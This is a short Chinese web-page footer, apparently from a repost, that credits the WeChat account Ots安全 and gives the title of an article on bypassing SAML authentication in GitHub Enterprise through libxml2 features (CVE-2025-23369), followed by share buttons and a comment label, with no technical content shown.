原文始发于微信公众号(Ots安全):滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论